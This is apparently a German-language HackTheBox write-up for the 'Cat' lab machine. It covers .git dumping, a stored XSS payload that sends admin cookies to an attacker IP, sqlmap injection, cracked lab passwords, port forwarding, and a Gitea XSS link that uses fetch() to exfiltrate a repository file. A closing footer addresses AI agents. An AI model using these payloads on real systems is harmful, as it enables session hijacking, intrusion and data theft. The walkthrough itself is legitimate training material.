> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md).

# Cat-HackTheBox-Lösung

{% embed url="<https://app.hackthebox.com/machines/646>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Verzeichnis-Fuzzing (.git-Datei)
* Quellcodeanalyse (Git-Repository-Dump)
* Ausnutzung von gespeichertem XSS & Session-Hijacking
* SQL-Injection (SQLite) mit sqlmap
* Knacken von Passwort-Hashes
* Port-Weiterleitung via SSH
* Ausnutzung von Gitea (v1.22.0) – gespeichertes XSS
* Exfiltration sensibler Daten via XSS-Payloads
  {% endhint %}

## Aufklärung

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/2ff18a2a91313a2da9e6afc3d0068b8be0e79c85" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/12d36bb5fd72890933bb8fd1d158a56d29a86bcc" alt="" width="563"><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**

Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.53 -oG allPorts
```

<figure><img src="/files/18746d380632307b59396414326f071985b5ee5a" alt=""><figcaption></figcaption></figure>

Versionsscan der Ports mit Nmap:

Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```purebasic
nmap -sCV -p22,80 10.10.11.53 -oN targeted
```

<figure><img src="/files/b4818c3fc14345844ede066c598485618087bcf6" alt=""><figcaption></figcaption></figure>

Um Domänennamen mittels DNS in IP-Adressen aufzulösen, tragen wir den mit der IP-Adresse verknüpften Domänennamen in die `/etc/hosts` Datei ein:

<figure><img src="/files/7fd2bea6b313d539f80984f48357824c8e1945ae" alt="" width="563"><figcaption></figcaption></figure>

### Port 80 - HTTP

<figure><img src="/files/8efdd44379d1176e4fcfe6248019d9e8af6f173f" alt=""><figcaption></figcaption></figure>

Beim Aufrufen von `http://cat.htb` der Website finden Sie ein Registrierungsformular.

<figure><img src="/files/59bd21ff274eed3df81f71bc80bcc005911080ed" alt=""><figcaption></figcaption></figure>

Außerdem bemerken wir eine Abstimmungsfunktion.

<figure><img src="/files/25884ba229e0a383ed679656737f861bcbc2901c" alt=""><figcaption></figcaption></figure>

**Verzeichnis-Fuzzing**

Wir führen `gobuster` aus, um versteckte Pfade zu entdecken:

```bash
gobuster dir -u http://cat.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php
```

<figure><img src="/files/34f8a3778fe7746a5ab17d84cfe2947d26c4750c" alt=""><figcaption></figcaption></figure>

Dies legt mehrere interessante Dateien offen, darunter ein `.git` Verzeichnis.

<figure><img src="/files/46d146546b68df524e5919888b9982b4509545e4" alt="" width="563"><figcaption></figcaption></figure>

**Git-Repository-Dump**

Wir verwenden `git-dumper` um den Inhalt des Repositories abzurufen:

```bash
git-dumper http://cat.htb/.git git
```

<figure><img src="/files/82ca4c809a208b9396d6f3eb8376024571e7ad4e" alt=""><figcaption></figcaption></figure>

Durch die Prüfung des Quellcodes identifizieren wir eine **SQL-Schwachstelle** sowie die Möglichkeit von **gespeichertem XSS**.

<figure><img src="/files/61af1eac7351afcab390a226ac75c26b27adebbd" alt=""><figcaption></figcaption></figure>

## XSS-Schwachstelle

Die Anwendung akzeptiert *Benutzernamen* und *E-Mail* Felder ohne ordnungsgemäße Filterung. Dies ermöglicht das Einschleusen bösartiger Skripte.

<figure><img src="/files/ce7f48a0c0daf491b8070276a93e5b45f1de66f6" alt=""><figcaption></figcaption></figure>

**XSS-Payload**

Wir erstellen einen Benutzer mit folgendem Namen:

```javascript
<script>document.location='http://10.10.14.154:8081/?c='+document.cookie;</script>
```

**Empfang des Admin-Cookies**

Wir lauschen auf Port 8081:

```bash
python -m http.server 8081
```

<figure><img src="/files/27b6db93c4077589d74a003249e7800ca005b9a4" alt=""><figcaption></figcaption></figure>

Sobald das Cookie erfasst wurde, erhalten wir die Administratorsitzung:

<figure><img src="/files/fd38dff8836053f10e5f084f2cbfe20c279a4618" alt=""><figcaption></figcaption></figure>

Wir ändern unser Session-Cookie in das des Admins und greifen auf die **Administrationskonsole**.

<figure><img src="/files/f64fcc32d74401c9687274edb5f3f61d47f3a0f8" alt=""><figcaption></figcaption></figure>

## SQL-Injection (SQLite)

<figure><img src="/files/fb24617f9b85f0a141472bdf8583b67e6837ff43" alt=""><figcaption></figcaption></figure>

Mit Admin-Zugriff ausführen `sqlmap` auf einem verwundbaren Formular

{% code overflow="wrap" %}

```bash
sqlmap -u "http://cat.htb/accept_cat.php" --cookie="PHPSESSID=i4cao7dtdfk1bs713p57cfq719" --data="catId=1&catName=123" -p catName --level 3 --risk 3 --batch --random-agent --tables --dump --dbms=sqlite --threads 10
```

{% endcode %}

<figure><img src="/files/b6b204cbac767b0978c5f0546c48025b96f8e3ee" alt=""><figcaption></figcaption></figure>

**Hash-Wiederherstellung**

Wir erhalten die Benutzer' **Passwort-Hashes**. Hier sind einige Beispiele:

```
d1bbba3670feb9435c9841e46e60ee2f
ac369922d560f17d6eeb8b2c7dec498c
42846631708f69c00ec0c0a8aa4a92ad
39e153e825c4a3d314a0dc7f7475ddbe
781593e060f8d065cd7281c5ec5b4b86
1b6dce240bbfbc0905a664ad199e18f8
c598f6b844a36fa7836fba0835f1f6
e41ccefa439fc454f7eadbf1f139ed8a
24a8ec003ac2e1b3c5953a6f95f8f565
88e4dceccd48820cf77b5cf6c08698ad
```

**Passwortknacken**

Verwenden von [CrackStation](https://crackstation.net/), identifizieren wir erfolgreich das Passwort für den Benutzer `rosa`:

{% embed url="<https://crackstation.net/>" %}

<figure><img src="/files/f89df37bdb3d33010a30b400bb5715f4b3db8172" alt=""><figcaption></figcaption></figure>

* **Benutzernamen** : rosa
* **Passwort** : soyunaprincesarosa

SSH-Verbindung mit den erhaltenen Zugangsdaten:

```bash
ssh rosa@cat.htb
```

<figure><img src="/files/7d0abeba489372fb1195f6220b40381c0b622c61" alt=""><figcaption></figcaption></figure>

### Pivoting mit Benutzer Axel

#### Enumerierung mit LinPEAS:

```bash
./linpeas.sh
```

{% embed url="<https://github.com/peass-ng/PEASS-ng/releases/tag/20250401-a1b119bc>" %}

Rosa ist in der `adm` Gruppe, Zugriff auf:

```bash
cat /var/log/apache2/access.log | grep "axel"
```

<figure><img src="/files/b74d9cac996f7ce15fe5debab6aa34ea2a1c9c38" alt=""><figcaption></figcaption></figure>

Gefundene Zugangsdaten:

* Benutzername: axel
* Passwort : aNdZwgC4tI9gnVXv/\_e3Q

<figure><img src="/files/3ecd39ad034dac865e5eef50f8cfb326fb487e66" alt=""><figcaption></figcaption></figure>

### Flagge user.txt :)

<figure><img src="/files/23c95d68c7270e065aad7cea196a7adb3d9a1940" alt="" width="563"><figcaption></figcaption></figure>

## Privilegieneskalation

### Entdeckung interner Ports:

```bash
netstat -tuln
```

* **Node.js** (Port 3000)
* **SMTP** (587, 25)

Identifizierte Dienste

<figure><img src="/files/e7d68be6075ebed0884d1cf22d74b4d2dd5d45ce" alt=""><figcaption></figcaption></figure>

#### Portweiterleitung

```bash
sudo ssh -L 3000:127.0.0.1:3000 -L 587:127.0.0.1:587 -L 25:127.0.0.1:25 axel@cat.htb
```

### XSS-Schwachstelle in Gitea v1.22.0

Auf `http://localhost:3000` -> **Gitea** ist zugänglich.

<figure><img src="/files/0402cae7f386364cb0834476aaf9bd43c416ad42" alt=""><figcaption></figcaption></figure>

Melden Sie sich mit Axels Zugangsdaten an.

<figure><img src="/files/c25e64a6fa719faf6276f742166b55be9c9e29b6" alt=""><figcaption></figcaption></figure>

Bekannte XSS-Schwachstelle.

<figure><img src="/files/59f1c65dd7c45925138196ddda99c1ac43b2cc13" alt=""><figcaption></figcaption></figure>

Wir erstellen ein Projekt mit einer Beschreibung, die

```bash
<a href=javascript:alert()>XSS test</a>
```

<figure><img src="/files/182c0553afebaadabd082de6cfd8ed06c4a8c459" alt=""><figcaption></figcaption></figure>

* Ergebnis:

<figure><img src="/files/254d4d42e54823fe4404cf68ba44188eacf47518" alt=""><figcaption></figcaption></figure>

### Über LinPEAS abgefangene Mail

<figure><img src="/files/6329cdca3da9ef9caa3e7968522578dbd4f43415" alt=""><figcaption></figcaption></figure>

E-Mail-Inhalt:

* jobert\@localhost muss das Gitea-Repository prüfen

<figure><img src="/files/65fbd9e3c1f6e31744c96a163ba8f607e348c833" alt=""><figcaption></figcaption></figure>

Wir senden einen XSS-Link mit einem Exfiltrationsskript, das den Inhalt der `index.php` Seite des Gitea-Repositories ausliest, in Base64 kodiert und dann an unseren Webserver sendet

{% code overflow="wrap" %}

```bash
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(response => response.text()).then(data => fetch('http://10.10.14.192:8080/?d=' + encodeURIComponent(btoa(unescape(encodeURIComponent(data))))));">PWNED</a>
```

{% endcode %}

<figure><img src="/files/7b237236d1315808a78e5380bb61cb6ed5a9f598" alt=""><figcaption></figcaption></figure>

#### Über unseren Webserver

```bash
python -m http.server 8080
```

<figure><img src="/files/455b8895eb0fa04150a026d7358d3a6f813d2bc3" alt=""><figcaption></figcaption></figure>

#### Exfiltrierter Inhalt (Base64-dekodiert):

```bash
echo "PD9waHAKJHZhbGlkX3VzZXJuYW1lID0gJ2FkbWluJzsKJHZhbGlkX3Bhc3N3b3JkID0gJ0lLdzc1ZVIwTVI3Q01JeGhIMCc7CgppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8ICFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwgCiAgICAkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddICE9ICR2YWxpZF91c2VybmFtZSB8fCAkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSAhPSAkdmFsaWRfcGFzc3dvcmQpIHsKICAgIAogICAgaGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0iRW1wbG95ZWUgTWFuYWdlbWVudCInKTsKICAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOwogICAgZXhpdDsKfQoKaGVhZGVyKCdMb2NhdGlvbjogZGFzaGJvYXJkLnBocCcpOwpleGl0Owo%2FPgoK" | base64 -d 
```

* $valid/\_username = 'admin';
* $valid/\_password = 'IKw75eR0MR7CMIxhH0';

<figure><img src="/files/29b699fb8a47eb7811a5e32b03cd796670fa4360" alt=""><figcaption></figcaption></figure>

#### Root-Privilegieneskalation

Es werden Zugangsdaten erneut für den Root-Benutzer verwendet

```bash
su root
```

<figure><img src="/files/eecaaffc88cbdeac747ddd0a9d44a5871487573b" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/0f1430c319bf44900e801f2022df0ba81fd24614" alt="" width="487"><figcaption></figcaption></figure>

<figure><img src="/files/3dc3d57bee945af9e41be83cbe923bd99a697939" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
